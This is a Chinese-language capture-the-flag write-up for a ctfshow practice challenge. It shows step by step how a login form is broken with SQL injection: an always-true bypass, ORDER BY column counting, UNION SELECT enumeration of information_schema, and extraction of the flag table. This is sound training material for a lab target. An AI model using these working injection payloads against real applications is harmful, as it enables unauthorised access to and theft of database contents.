解题思路
打开靶场
既然提示是最简单的sql注入了,那么直接尝试永真登录
1' or 1=1#
这里闭合就是简单的单引号
可以看到没登录成功,但是有回显:欢迎你,ctfshow
sql注入最喜欢的就是回显了!这题的思路就是靠这个回显,必须倚靠一下这个回显来看我们注入是否成功,那么1' or 1=1是不能变了。
去判断列数:
1' or 1=1 order by 4#
回显消失
1' or 1=1 order by 3#
三列的时候又回来了,所以列数是三
下面就不需要这个回显了,接下来找三列的回显:
1' union select 1,2,3#
可以看到2列是可以回显的,查看下数据库:
1' union select 1,database(),3#
只有Web2数据库,那么我们看下web2数据库下面有哪些表
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
可以看到
那么flag表当然是我们感兴趣的,对flag表进行爆列,也就是看下有哪些列:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag' #
只有flag列,那么我们查看flag列的数据
1' union select 1,flag,3 from flag #
成功获取flag
总结
一道基础的sql注入题目,唯一的难点可能是在判断列数上面,正常来说需要依靠永真回显来判断,这也是需要学到sql注入回显的重要性。